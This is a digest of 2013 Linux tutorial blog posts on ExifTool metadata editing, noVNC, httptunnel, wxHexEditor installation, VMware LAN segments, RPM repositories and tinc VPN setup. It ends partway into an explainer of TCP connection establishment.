Senin, 07 Oktober 2013

Xathrya Sabertooth

Xathrya Sabertooth


How to View or Edit PDF/Image Metadata from Command Line

Posted: 06 Oct 2013 07:42 PM PDT

Typical digital images or photos have a rich set of metadata embedded in them. Metadata is automatically written by capture device such as digital cameras, or it can be manually added by photographers or photo editing software to show various properties. Similarly, a pdf document also have its own set of metadata associated with them to identify author, title, date, etc.

There are various tools that allow us to edit metadata in digital photos or pdf documents and ExifTool is one of it. ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, as well as the maker notes of many digital cameras by Canon, Casio, FLIR, FujiFilm, GE, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Nikon, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.

In this article, we will discuss about how to view or edit metadata in pdf documents or digital pictures from command line using ExifTool. All of experiments have been done on Slackware64 14.0.

Supported Metadata

Below is the list of file types and metadata currently supported by ExifTool (“r” = read, “w” = write, “c” = create)

Supported file types

------------+-------------+-------------+-------------+------------  3FR   r     | DVB   r     | M4A/V r     | PBM   r/w   | RWL   r/w  3G2   r     | DYLIB r     | MEF   r/w   | PDF   r/w   | RWZ   r  3GP   r     | EIP   r     | MIE   r/w/c | PEF   r/w   | RM    r  ACR   r     | EPS   r/w   | MIFF  r     | PFA   r     | SO    r  AFM   r     | ERF   r/w   | MKA   r     | PFB   r     | SR2   r/w  AI    r/w   | EXE   r     | MKS   r     | PFM   r     | SRF   r  AIFF  r     | EXIF  r/w/c | MKV   r     | PGF   r     | SRW   r/w  APE   r     | F4A/V r     | MNG   r/w   | PGM   r/w   | SVG   r  ARW   r/w   | FLA   r     | MOS   r/w   | PICT  r     | SWF   r  ASF   r     | FLAC  r     | MOV   r     | PMP   r     | THM   r/w  AVI   r     | FLV   r     | MP3   r     | PNG   r/w   | TIFF  r/w  BMP   r     | FPX   r     | MP4   r     | PPM   r/w   | TTC   r  BTF   r     | GIF   r/w   | MPC   r     | PPT   r     | TTF   r  COS   r     | GZ    r     | MPG   r     | PPTX  r     | VRD   r/w/c  CR2   r/w   | HDP   r/w   | MPO   r/w   | PS    r/w   | VSD   r  CRW   r/w   | HTML  r     | MQV   r     | PSB   r/w   | WAV   r  CS1   r/w   | ICC   r/w/c | MRW   r/w   | PSD   r/w   | WDP   r/w  DCM   r     | IIQ   r/w   | MXF   r     | PSP   r     | WEBP  r  DCP   r/w   | IND   r/w   | NEF   r/w   | QTIF  r     | WEBM  r  DCR   r     | ITC   r     | NRW   r/w   | RA    r     | WMA   r  DFONT r     | JNG   r/w   | NUMBERS r   | RAF   r/w   | WMV   r  DIVX  r     | JP2   r/w   | ODP   r     | RAM   r     | X3F   r/w  DJVU  r     | JPEG  r/w   | ODS   r     | RAR   r     | XCF   r  DLL   r     | K25   r     | ODT   r     | RAW   r/w   | XLS   r  DNG   r/w   | KDC   r     | OGG   r     | RIFF  r     | XLSX  r  DOC   r     | KEY   r     | ORF   r/w   | RSRC  r     | XMP   r/w/c  DOCX  r     | LNK   r     | OTF   r     | RTF   r     | ZIP   r  DV    r     | M2TS  r     | PAGES r     | RW2   r/w   |

Supported metadata standards and types

----------------------+----------------------+---------------------  EXIF           r/w/c  |  CIFF           r/w  |  Ricoh RMETA    r  GPS            r/w/c  |  AFCP           r/w  |  Picture Info   r  IPTC           r/w/c  |  Kodak Meta     r/w  |  Adobe APP14    r  XMP            r/w/c  |  FotoStation    r/w  |  MPF            r  MakerNotes     r/w/c  |  PhotoMechanic  r/w  |  Stim           r  Photoshop IRB  r/w/c  |  JPEG 2000      r    |  APE            r  ICC Profile    r/w/c  |  DICOM          r    |  Vorbis         r  MIE            r/w/c  |  Flash          r    |  SPIFF          r  JFIF           r/w/c  |  FlashPix       r    |  DjVu           r  Ducky APP12    r/w/c  |  QuickTime      r    |  M2TS           r  PDF            r/w/c  |  Matroska       r    |  PE/COFF        r  PNG            r/w/c  |  GeoTIFF        r    |  AVCHD          r  Canon VRD      r/w/c  |  PrintIM        r    |  ZIP            r  Nikon Capture  r/w/c  |  ID3            r    |  (and more)

Installation

As stated before, ExifTool is using Perl. ExifTool requires Perl 5.004 or later. No other library or software is required.

Package Manager Way

To install ExifTool on Ubuntu, Debian or Linux Mint you can use following command:

sudo apt-get install libimage-exiftool-perl

To install ExifTool on CentOS or RHEL, first you need to set up EPEL repository, and then run the following:

sudo yum install perl-Image-ExifTool

Generic Way

Installing ExifTool from source is really simple.

Download the source code, the latest version is 9.37

wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-9.37.tar.gz

Extract and go to the source code’s root directory:

tar -xzvf Image-ExifTool-9.37.tar.gz  cd Image-ExifTool-9.37

next, invoke following commands to test and install:

perl Makefile.PL  make test  sudo make install

Windows Way

In Windows, there is a choice of two different versions of ExifTool to install. If you don’t already have Perl, it is easier to install the stand-alone ExifTool executable, but note that the stand-alone version doesn’t include the HTML documentation or some other files of the full distribution.

The stand-alone executable can be downloaded from ExifTool home page: exiftool-9.37.zip. After download it, extract “exiftool(-k).exe”. Rename and move it as to C:\Windows\exiftool.exe.

You can now run exiftool by typing “exiftool” at the command prompt.

Usage Example

View all metadata in a picture

exiftool input.jpg

Change title and author information of a pdf document

exiftool -Title="A title by Satria" -Author="Satria Ady Pradana" input.pdf

Modify tags of multiple image in a batch

exiftool -artist="Satria Ady Pradana" -copyright="2013 Satria Ady Pradana" a.jpg b.jpg c.jpg

Modify artist name for all media files located in a target directory

exiftool -artist="Satria Ady Pradana" ./folder

Show all Metadata information in an Image

This will include duplicate and unknown tags, sorted by group.

exiftool -a -u -g2 input.jpg

Show all metadata fields which contains the word “Date”

exiftool -"*Date*" input.png

Extract GPS coordinate information from a photo

exiftool -gpslatitude -gpslongitude input.jpg

Show GPS coordinate information contained in a picture in tabular format

exiftool -filename -gpslatitude -gpslongitude -T input.jpg

 

Access VNC Remote Desktop in Web Browser

Posted: 06 Oct 2013 03:31 PM PDT

There are many VNC clients available, differing in their capabilities and support. If you are looking cross-platform VNC client, you can have Java-based VNC viewers (e.g., RealVNC or TightVNC). However, there is also a new way, web-based VNC clients.

VNC web clients are typically faster than Java-based VNC viewers and could be easily integrated into other third-party application.

In this article, we will discuss about how to access VNC remote desktop in web browser by using VNC web client called noVNC. All experiment is done on Linux, Slackware64 14.0.

What is noVNC

noVNC is a HTML5-based remote desktop web client which can communicate with a remote VNC server via Web Sockets. Using noVNC, you can control a remote computer in a web browser over VNC.

noVNC has been integrated into a number of other projects including OpenStack, OpenNebula, CloudSigma, Amahi and PocketVNC.

noVNC Feature List

The following list shows full features offered by noVNC.

  • Supports all modern browsers including those on iOS, Android.
  • Supported VNC encodings: raw, copyrect, rre, hextile, tight, tightPNG
  • WebSocket SSL/TLS encryption (i.e. "wss://") support
  • 24-bit true color and 8 bit colour mapped
  • Supports desktop resize notification/pseudo-encoding
  • Local or remote cursor
  • Clipboard copy/paste
  • Clipping or scrolling modes for large remote screens

Web Browser Requirements

Not all web browser can run noVNC. We need web browsers which capable of running HTML5, in specific: HTML5 Canvas and WebSockets. Therefore, older age web browsers are excluded from our list.

The following browser meet the requirements:

  1. Chrome 8+
  2. Firefox 3.6+
  3. Safari 5+
  4. iOS Safari 4.2+
  5. Opera 11+
  6. Internet Explorer 9+

If your browser does not have native WebSockets support, you can use web-socket.js, which is included in noVNC package.

More detailed on browser compatibility can be seen on the the official guide.

Installation

To install noVNC remote desktop web client, clone the noVNC repository:

git clone git://github.com/kanaka/noVNC

Running

Launch Webcokify WebSockets Proxy

The first step is to launch Websockify (which comes with noVNC package) on local host. noVNC relies on Websockify to communicate with a remote VNC server. Websockify is a WebSocket to TCP proxy/bridge, which allows a web browser to connect to any application, server or service via local TCP proxy.

Here we assume we have already set up a running VNC server somewhere. Let say we have VNC server at 192.168.1.102:5901 using TightVNC.

To launch Websockify, use a startup script called launch.sh. This script starts a mini-webserver as well as Websockify. The "–vnc" option is used to specify the location of a remotely running VNC server. Run it on noVNC source code root directory:

./utils/launch.sh --vnc 192.168.102:5901

And you should have something like this:

Warning: could not find self.pem  Starting webserver and WebSockets proxy on port 6080  WebSocket server settings:    - Listen on :6080    - Flash security policy server    - Web server. Web root: /home/xathrya/gitku/noVNC    - No SSL/TLS support (no cert file)    - proxying from :6080 to 192.168.1.102:5901    Navigate to this URL:        http://BlueWyvern:6080/vnc.html?host=BlueWyvern&port=6080    Press Ctrl-C to exit

Connect using Browsers

At this point, you can open up a web browser, and navigate to the URL shown in the output of Websockify (e.g., http://BlueWyvern:6080/vnc.html?host=BlueWyvern&port=6080).

If the remote VNC server requires password authentication, you will see the following screen in your web browser.

vnc-1

After you have successfully connected to a remote VNC server, you will be able to access the remote desktop.

vnc-2

You can also adjust the settings of a VNC session by clicking the settings icon.

vnc-3

The above examples are running on Slacwkware64 14.0 (client) and Raspbian Wheezy / Raspberry Pi (server)

Create Encrypted VNC Session with noVNC

By default a VNC session created by noVNC is not encrypted. If you want, you can create encrypted VNC connections by using the WebSocket 'wss://' URI scheme. For that, you need to generate a self-signed encryption certificate (e.g., by using OpenSSL), and have Websockify load the certificate.

To create a self-signed certificate with OpenSSL:

openssl req -new -x509 -days 365 -nodes -out self.pem -keyout self.pem

After that, place the certification in noVNC/utils directory. Then you can run launch.sh, Websockify will automatically load the certificate.

Install and Configure httptunnel

Posted: 06 Oct 2013 03:02 PM PDT

httptunnel is free software that allows one to create a bi-directional tunnel encapsulated by HTTP, between client and server. The HTTP requests can be sent via an HTTP proxy if so desired. HTTP-encapsulated tunnels are useful behind restrictive network. If WWW access is allowed through a HTTP proxy, it’s possible to use httptunnel and, say, telnet or PPP to connect to a computer outside the firewall.

A common example of using this method is for using games, IM clients, or P2P sharing applications across restrictive firewalls or proxies which tend to block pretty much everything except well known traffic such as HTTP traffic.

httptunnel consists of hts (server) and htc (client) components to establish HTTP tunnels in between.

Installation

Linux Package Manager Way

For Debian or its derivatives system (Ubuntu, Linux Mint):

sudo apt-get install httptunnel

For Red Hat or derivatives system (Fedora, CentOS, Scientific Linux, etc), you should set up Repoforge repository first and then do:

sudo yum install httptunnel

Windows Way

Binary for Windows are provided by some contributors.

For Windows NT, you can go to here.

For WIN32, you can go to here.

Generic Way

Download the latest stable httptunnel source code (version 3.0.5) httptunnel-3.0.5.tar.gz

Extract the source code from archive, and do usual routine:

tar -xf httptunnel-3.0.5.tar.gz  cd httptunnel-3.0.5  ./configure  make  make install

Set Up HTTP Tunnel

As stated before, there are two parties for a connection, which is http server and http client. Therefore, we need to configure both side. Of course, both should have httptunnel installed.

Server Side

hts -F <server_ip_addr>:<port_of_your_app> 80

The above command tells hts to listen on port 80 and redirect all traffic received on port 80 to ,port_of_your_app>

Client Side

htc -P <my_proxy.com:proxy_port> -F <port_of_your_app> <server_ip_addr>:80

The above command tells htc to receive traffic on localhost:<port_of_your_app>, which then is redirected to <server_ip_addr>:80, optionally via proxy (in case the client is behind HTTP proxy).

At this point, the application instances running on two end hosts can communicate with each other transparently via an HTTP tunnel.

Installing wxHexEditor

Posted: 06 Oct 2013 02:44 PM PDT

A hex editor is a “special purpose” editor. It is different from a regular text ediro in that the hex editor displays the raw binary content of a given file, without applying any text encoding or typesetting. A hex editor is mainly used in forensic or low level editing situation. It can be use for example: repairing disk image and partition, reverse engineering binary code, patching emulator ROM files, analyzing malware, etc.

One of good HEX editor available for Linux is wxHexEditor, which will be discussed here.

wxHexEditor is using wxWidgets libraries, therefore it can be compiled on top of various platform supported by wxWidgets.

In this article we will limit ourself to some operating system: Windows, Mac, and Linux.

There is also a specific article for installing wxHexEditor for Slackware, which can be used as a guide for installing wxHexEditor from source code.

The latest version of wxHexEditor is 0.22, which will be used in this article.

wxHexEditor Features

wxHexEditor offers a number of powerful features.

  • 64-bit file descriptors supporting files or devices of up to 2^64 bytes.
  • Extremely fast with handling large files by not copying the whole files to RAM.
  • Can handle multiple byte insertions or deletions without creating a temp file.
  • Low memory footprint (e.g., 25 MB memory for opening multi GB files).
  • Disassembly support for x86, x86-64, MMX, SSE, SSE2, SSE3, AMD-V, Intel VT-x.
  • Support for process memory editing.
  • Can handle XOR-based obfuscation.
  • Multiple views to show multiple files.
  • Support for multiple encodings (e.g., UTF8/16/32, Shift JIS, GBK, EUC, etc).

Dependencies

To compile wxHexEditor, we need wxWidgets library with version 2.8.11 or higher.

You can follow this article to install wxWidgets if you don’t have it yet.

Windows Installation

wxHexEditor offers a binary installer which compiled using MinGW. You can download it here.

Once the download finished, you will have a new zip archive name wxHexEditor-v0.22a-Win32.zip.

Mac OS Installation

Mac OSX users can download precompiled static binary for MacIntel. You can download the installer here.

Linux Installation

Debian Way

To install wxHexEditor on Debian and it’s derivation, you can install via GetDeb Apps repositories. Here are the commands you need to invoke to install wxHexEditor:

wget -q -O – http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -  sudo sh -c 'echo "deb http://archive.getdeb.net/ubuntu $(lsb_release -cs)-getdeb apps" >> /etc/apt/sources.list.d/getdeb.list'  sudo apt-get update  sudo apt-get install wxhexeditor

Alternatively, you can build wxHexEditor from source:

sudo apt-get install debhelper libdisasm-dev libmhash-dev libwxbase2.8-dev libwxgtk2.8-dev wx-common wx2.8-headers  svn checkout svn://svn.code.sf.net/p/wxhexeditor/code/trunk wxHexEditor  cd wxHexEditor  make OPTFLAGS="-fopenmp"

RPM Package Way

If you are using CentOS or RHEL, you need to enable Repoforge repository first.

To install wxHexEditor, you can build it from source, as follows:

sudo yum install libtool gcc-c++ wxGTK-devel  svn checkout svn://svn.code.sf.net/p/wxhexeditor/code/trunk wxHexEditor  cd wxHexEditor  make OPTFLAGS="-fopenmp"

Troubleshoot

If you encounter following problems:

/lib/libgbm.so.1: undefined reference to `wayland_buffer_is_drm'

then you need to updating mesa-libgbm package.

Installing wxHexEditor for Slackware64

Posted: 06 Oct 2013 02:01 PM PDT

A hex editor is a “special purpose” editor. It is different from a regular text ediro in that the hex editor displays the raw binary content of a given file, without applying any text encoding or typesetting. A hex editor is mainly used in forensic or low level editing situation. It can be use for example: repairing disk image and partition, reverse engineering binary code, patching emulator ROM files, analyzing malware, etc.

One of good HEX editor available for Linux is wxHexEditor, which will be discussed here.

In this article, I use following:

  1. Slackware64 14.0
  2. wxHexEditor – source code.

There is also an article for installing wxHexEditor in several operating system.

wxHexEditor Features

wxHexEditor offers a number of powerful features.

  • 64-bit file descriptors supporting files or devices of up to 2^64 bytes.
  • Extremely fast with handling large files by not copying the whole files to RAM.
  • Can handle multiple byte insertions or deletions without creating a temp file.
  • Low memory footprint (e.g., 25 MB memory for opening multi GB files).
  • Disassembly support for x86, x86-64, MMX, SSE, SSE2, SSE3, AMD-V, Intel VT-x.
  • Support for process memory editing.
  • Can handle XOR-based obfuscation.
  • Multiple views to show multiple files.
  • Support for multiple encodings (e.g., UTF8/16/32, Shift JIS, GBK, EUC, etc).

Installation

Dependencies

To compile wxHexEditor, we need wxWidgets library with version 2.8.11 or higher.

You can follow this article to install wxWidgets if you don’t have it yet.

You also need wxPython to do so.

Obtain the Materials

Source code for wxHexEditor is hosted at sourceforge with latest version is 0.22 Beta. You can download the source code here.

Next, extract it and you will have a directory of the source code. Change to that directory, the rest of compilation will be assumed that we are here.

Compilation

Invoke these series of commands to build wxHexEditor (using root privileges to install):

make OPTFLAGS="-fopenmp"  su -c "make install"

Other Installation Methods

Slackbuilds

A slackbuild script has been provided here. However, the version supported there is 0.20.

You can download the source code and slackbuild script and do slackbuild on your system.

Install from RPM Package

Installing from RPM package means you need to convert the corresponding .rpm package to Slackware compatible. This package is actually used for Red Hat and it’s derivative distributions.

First you need to obtain the package.

For example, I obtain one package from pkgs.org which is wxHexEditor-0.22-2.1.x86_64.rpm

Then do conversion by rpm2tgz tool:

rpm2tgz wxhexeditor-0.22-2.1.x86_64.rpm

And then install it by:

su -c "upgradepkg --install-new wxhexeditor-0.22-2.1.x86_64.tgz"

Install from Deb Package

Installing from Deb package means you need to convert the corresponding .deb package to Slackware compatible. This package is actually used for Debian and it’s derivative distributions.

First you need to obtain the package.

For example, I obtain one package from pkgs.org which is wxHexEditor-0.22-repack-1_amd64.deb

Then do conversion by deb2tgz tool:

deb2tgz wxhexeditor_0.22+repack-1_amd64.deb

And then install it by:

su -c "upgradepkg --install-new wxhexeditor_0.22+repack-1_amd64.tgz"

Creating Multiple Networks on VMware Player

Posted: 06 Oct 2013 01:34 PM PDT

In VMware Player, there are three network options for guest VMs: bridged network, NAT network, and host-only network.

vmware-1

What if you want to create multiple isolated networks, running the VM and have the networks run available at once? Each of which is reachable via different network interfaces attached to the VM. Surely this is interesting, but if the network choices are limited to the one above three options, we can’t make our idea real.

Therefore, in this article we will discuss about how we can “hack” VMware Player so it can accommodate our idea.

The Theory Behind

The feature we use is “LAN segments”. Using this, we can define multiple LAN segments, each of which represents an isolated virtual LAN. We can then add our VM as many LAN segments (corresponding network adapters) as we want. Both VMware Workstation and VMware Player have this feature so you can apply it to VMware Workstation too. However, on Linux it seems that LAN Segments is not shown by default.

Each LAN segment act as a VPN (Virtual Private Network). This way, more than one isolated network can be formed.

Creating LAN Segment

In order to create and assign a LAN segment to VMware Player VM, first create a new VM instance with two network interface (one bridged and the other NAT interfaces) using Virtual Machine Wizard. Do not turn on the VM at this point. Instead, open up .vmx file of the VM and edit it as follows.

Search for the lines that reads “ethernet1.xxxxx”. This is configuration for network interface eth1

ethernet1.present = "TRUE"  ethernet1.connectionType = "nat"  ethernet1.virtualDev = "e1000"  ethernet1.wakeOnPcktRcv = "FALSE"  ethernet1.addressType = "generated"

Currently eth1 is set to use NAT. We will reconfigure it so that it uses a LAN segment instead. For that, change the above configuration as follows:

ethernet1.present = "TRUE"  ethernet1.connectionType = "pvn"  ethernet1.pvnID = "52 dd bc d5 36 19 1b 6b-0f f1 fb 1c 4c ac 44 f7"  ethernet1.virtualDev = "e1000"  ethernet1.wakeOnPcktRcv = "FALSE"  ethernet1.addressType = "generated"

As seen there, two changes made. First, ethernet1.connectionType was change to “pvn” (Private Virtual Network). Also, there is a new entry, ethernet1.pvnID which identifies the LAN segment that the VM will be attached to. You can fill in any arbitrary pvnID in the same alphanumeric format; it will be regenerated by VMware Player later on.

Once changes are saved to .vmx file, open the guest machine's VM settings on VMware Player. Now you will notice that LAN segment configuration menu magically appears on VMware Player GUI, as shown below.

vmware-2

If it isn’t shown up yet, close VMware Player and start it up again.

From the drop down menu of LAN segments, you can choose "LAN Segment 1″ which was created by our manual editing of .vmx file. You can also create as many LAN segments as you want, by clicking on "LAN Segments" button, which will show you a LAN segment management interface.

All the VMs that are attached to the same LAN segment are physically on the same layer-2 network. VMs that are assigned to different LAN segments are physically separated.

Note that there is no pre-configured DHCP service running on the LAN segments you create. Therefore, if you want to have your VM assigned a DHCP IP address from a given LAN segment, you will need to run a DHCP server on one of your VMs on the same LAN segment. Alternatively, you could use a static IP address.

How to Install RPM Fusion

Posted: 06 Oct 2013 01:03 PM PDT

RPM Fusion is a service which provides software that the Fedora Project or Red Hat doesn’t want to ship. Like any RPM package, you can install package on RPM Fusion using yum and PackageKit. RPM Fusion is a merger of Dribble, Freshrpms, and Livna which has goal to simplify end-user experience by grouping as much add-on software as possible in single location.

Specifically, RPM Fusion offers various free or non-free add-on packages. These packages are not shipped by Fedora and Red Hat because they do not meet the software requirement.

Installing RPM Fusion is not difficult. Here in this article we will discuss it.

In this article, we will use Fedora 15 as example machine.

Installation

RPM Fusion maintains two separate repositories for free and non-free packages. You can selectively enable either or both repositories as you want.

In order to enable the free repository of RPM Fusion, do:

sudo yum localinstall --nogpgcheck http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm

To enable the non-free repository of RPM fusion

sudo yum localinstall --nogpgcheck http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm

Verification

To verify that RPM Fusion repository has been set up successfully, run the following command to list all available repositories on your system.

yum repolist | grep rpmfusion

If you have enabled the RPM Fusion, an entry should appears

Creating Multiple VPN Tunnels Between Two Hosts using tinc VPN

Posted: 06 Oct 2013 11:52 AM PDT

There are cases where we want to create more than one VPN tunnels between a pair of hosts. Well this is possible and this is what we want to discuss in this article.

Why Multiple Tunnels?

As the question goes, why?

With multiple tunnels, you could use each tunnel for a different purpose, achieving full isolation among traffic belonging to different tunnels. Depending on which tunnel traffic goes through, you could even apply different QoS or security policies to the underlying traffic.

Scenario

In this example, we will create two VPN tunnels between hosts Alice and Bob. Assuming that Alice serves as a tinc VPN bootstrapping point, while Bob initiates a connection to Alice. Two VPNs created between Alice and bob are named vpn1 and vpn2.

Configuration

In tinc, one tinc daemon can only manage one VPN. This means that if you want to create multiple tunnels between two hosts, you need to run as many tinc daemons on each host.

To a basic set up, you can follow this article in the configuration section.

Create VPN Configuration

Using the guide above, create two separate tinc VPNs named vpn1 and vpn2. If you follow the tinc configuration instruction, two sets of tinc configuration files will be stored in /etc/tinc/vpn1 and /etc/tinc/vpn2. Make sure to use two distinct tinc interface names (e.g., tun0, tun1) as well as two different subnets for these two VPNs.

Specifying Port

By default, listens on port 655 for incoming connections. Thus we cannot run more than one tinc daemons with the default port setting. For two VPNs vpn1 and vpn2, you can use the default port for one VPN (e.g., vpn1), but need to use another port for the other VPN (e.g., vpn2). Therefore, we need to configure a port number to use for vpn2 (in our scenario).

On both hosts alice and bob, append the following in /etc/tinc/vpn2/hosts/alice and /etc/tinc/vpn2/hosts/bob. The port number can be anything other than tinc's default port number 655.

Port = 700

Make sure the port is available.

Starting tinc

Once tinc configurations are done, start two tinc daemons on each host as follows (using root privileges):

tincd --net=vpn1  tincd --net=vpn2

How to Set Up Repoforge Repository

Posted: 06 Oct 2013 11:41 AM PDT

Repoforge, previously known as RPMforge, maintains a repository of RPM packages for Red Hat Enterprise Linux (RHEL), CentOS and Scientific Linux. If you are a RHEL or CentOS user, it is strongly recommended to set up Repoforge repository on your system, as it contains many useful software packages that are not available in existing stock repositories.

The configuration of Repoforge is not so difficult. Here in this article we will try to do it.

In this article, we will use CentOS 6.3 as example machine.

Installation

In order to enable Repoforge repository on your CentOS system, you need to check CentOS version. Though we said earlier that we use CentOS 6.3, you can also check your CentOS version by running the following command.

cat /etc/redhat-release

You should also check your architecture, whether 32-bit (i.e., i686) or 64-bit (i.e., x86_64) based:

uname -a

The configuration would depend on your version.

For 32-bit CentOS 6.*:

sudo rpm -Uvh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.i686.rpm

For 64-bit CentOS 6.*:

sudo rpm -Uvh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm

For 32-bit CentOS 5.*:

sudo rpm -Uvh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el5.rf.i386.rpm

For 64-bit CentOS 5.*:

sudo rpm -Uvh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm

Verification

Once repoforge ins installed, you can use yum to install all available packages from the repoforge repo.

Install and Configure tinc VPN

Posted: 06 Oct 2013 11:34 AM PDT

tinc is an open-source VPN daemon that uses tunnelling and encryption to create a secure private network between hosts on the internet. Because the VPN appears to the IP level network code as a normal network device, there is no need to adapt any existing software. This allows VPN sites to share information with each other over the Internet without exposing any information to others.

tinc comes with a number of powerful features not found in other VPN solutions.  For example, tinc allows peers behind NAT to communicate with one another via VPN directly, not through a third party.  Other features include full IPv6 support and path MTU discovery. For a complete list, you should go to tinc official site.

Scenario

Unlike any other article, we will use a scenario to illustrate the case we use in this article.

In this article, we will set up a VPN connection between two hosts via tinc. Let’s call these hosts as “Alice” and “Bob”. We also assume that Bob will initiate a VPN connection to host “alice”.

Installation

First, install tinc on both hosts.

Linux Package Manager Way

For Debian or its derivatives system (Ubuntu, Linux Mint):

sudo apt-get install tinc

For Red Hat or derivatives system (Fedora, CentOS, Scientific Linux, etc), you should set up Repoforge repository first and then do:

sudo yum install tinc -y

Windows Way

For a Windows system (Windows XP/Vista/7/8), there is an installation file you can use. The latest version you can find is 1.0.22.

Download and execute the file, here.

Mac OS Way

The recommended methods to install tinc on Mac OS is using macports port system. he MacPorts Project is an open-source community initiative to design an easy-to-use system for compiling, installing, and upgrading either command-line, X11 or Aqua based open-source software on the MacOSX operating system. Macports is recommended because it does not modify your system files. It keeps itself separate from your system.

XCode is required prerequisite. It must be installed before installing Macports. Download and install the Macports system from MacForge.

  • XCode (requires free online ADC Membership); it can also be obtained from original OSX installation DVD
  • Macports

After Macports is installed, close and reopen your terminal. Update the ports system and ports list.

sudo port selfupdate  sudo port sync

Then you can install tinc and all necessary dependencies by:

sudo port install tinc

All configuration files are located in /opt/local/etc/tinc.

Configuration

For each host, create a directory for tinc.

Alice machine

mkdir -p /etc/tinc/myvpn/hosts

Then create a file /etc/tinc/myvpn/tinc.conf with following data:

Name = alice  AddressFamily = ipv4  Interface = tun0

The above example create a “session” under name “myvpn”. This is the name of the VPN network to established between Alice and Bob on this scenario. VPN name can be any alphanumeric name without containing "-". In tinc.conf example, "Name" field indicates the name of tinc-running local host, which doesn't have to be actual hostname. You can choose any generic name.

Next, create host configuration files which contain host-specific information on /etc/tinc/myvpn/hosts/alice with following text:

Address = 1.2.3.4  Subnet = 10.0.0.1/32

The name of host configuration file (e.g., alice) should be the same as the one you defined in tinc.conf. The "Address" field indicates a globally routable public IP address associated with alice. This field is required for at least one host in a given VPN network so that other hosts can initiate VPN connections to it. In this example, alice will serve as the bootstrapping server, and so has a public IP address (e.g., 1.2.3.4). The "Subnet" field indicates the VPN IP address to be assigned to alice.

Next, generate public/private pair keys (using root privileges):

tincd -n myvpn -K4096

The above command will generate 4096-bit public/private keys for host "alice". The private key will be stored as /etc/tinc/myvpn/rsa_key.priv, and the public key will be appended to /etc/tinc/myvpn/hosts/alice.

Next, configure the scripts that will be run right after tinc daemon gets started, as well as right before tinc daemon is terminated. Make sure you have them executable by chmod to 755.

Create /etc/tinc/myvpn/tinc-up for startup script:

#!/bin/sh  ifconfig $INTERFACE 10.0.0.1 netmask 255.255.255.0

Create /etc/tinc/myvpn/tinc-down for shutdown script:

#!/bin/sh  ifconfig $INTERFACE down

Bob Machine

mkdir -p /etc/tinc/myvpn/hosts

Then create a file /etc/tinc/myvpn/tinc.conf with following data:

Name = bob  AddressFamily = ipv4  Interface = tun0  ConnectTo = alice

Similar to Alice machine, we create a configuration for Bob. However, we remember that in this scenario Bob is initiating connection to Alice. Therefor, we put “ConnectTo” field to connect to Alice machine.

Create a file /etc/tinc/myvpn/hosts/bob with following data:

Subnet = 10.0.0.2/32

Then create a private/public key pair (using root privileges):

tincd -n myvpn -K4096

This will store the Bob’s private key as /etc/tinc/myvpn/rsa_key.priv and its public will be added to /etc/tinc/myvpn/hosts/bob.

We also need to create two script similar to alice, namely /etc/tinc/myvpn/tinc-up and /etc/myvpn/tinc-down.

On /etc/tinc/myvpn/tinc-up, write:

#!/bin/sh  ifconfig $INTERFACE 10.0.0.2 netmask 255.255.255.0

On /etc/tinc/myvpn/tinc-down, write:

#!/bin/sh  ifconfig $INTERFACE down

Make sure both script are executable.

Copying Both Key

Next we need to copy each host’s public key file into other host. This way, both party can connect into a VPN network.

On Alice:

scp /etc/tinc/myvpn/hosts/alice root@bob:/etc/tinc/myvpn/hosts/

On Bob:

scp /etc/tinc/myvpn/hosts/bob root@alice:/etc/tinc/myvpn/hosts/

Creating Connection

After finishing the configuration, you should be able to create a connection. Based on our scenario, since Bob initiates a VPN connection, you need to start tinc daemon on Alice first and then Bob. Both are using same command (use root privileges):

tincd -n myvpn

Minggu, 06 Oktober 2013

Xathrya Sabertooth

Xathrya Sabertooth


Transmission Control Protocol

Posted: 05 Oct 2013 08:23 AM PDT

The Transmission Control Protocol (TCP) is one of the core protocols of the Internet protocol suite (IP), and is so common that the entire suite is often called TCP/IP. TCP provides reliable, ordered, error-checked delivery of a stream of octets between programs running on computers connected to a local area network, intranet or the public Internet. It resides at the transport layer (4th layer).

TCP is a transport layer protocol. It provides feature of flow control, segmentation/desegmentation, and error control of a packet. TCP also have job to multiplex a packet data to corresponding application which listen to certain port.

Connection Establishment

TCP Handshake is a term refer to a procedure for connection initiation between two nodes. As stated before, a TCP is connection oriented protocol. Therefore, a send-receive operation should be done on open session, or in short a connection must be properly established before data transfer can be made.

TCP connection is managed by an operating system through a programming interface that represents the local end-point for communications, the Internet socket.

To establish a connection, TCP uses a three-way handshake. Before a client attempts to connect with a server, the server must first bind to and listen at a port to open it up for connections: this is called a passive open. Once the passive open is established, a client may initiate an active open. To establish a connection, the three-way (or 3-step) handshake occurs:

  1. SYN: The active open is performed by the client sending a SYN to the server. The client sets the segment’s sequence number to a random value A.
  2. SYN-ACK: In response, the server replies with a SYN-ACK. The acknowledgment number is set to one more than the received sequence number i.e. A+1, and the sequence number that the server chooses for the packet is another random number, B.
  3. ACK: Finally, the client sends an ACK back to the server. The sequence number is set to the received acknowledgement value i.e. A+1, and the acknowledgement number is set to one more than the received sequence number i.e. B+1.

At this point, both the client and server have received an acknowledgment of the connection. The steps 1, 2 establish the connection parameter (sequence number) for one direction and it is acknowledged. The steps 2, 3 establish the connection parameter (sequence number) for the other direction and it is acknowledged. With these, a full-duplex communication is established.

Connection Termination

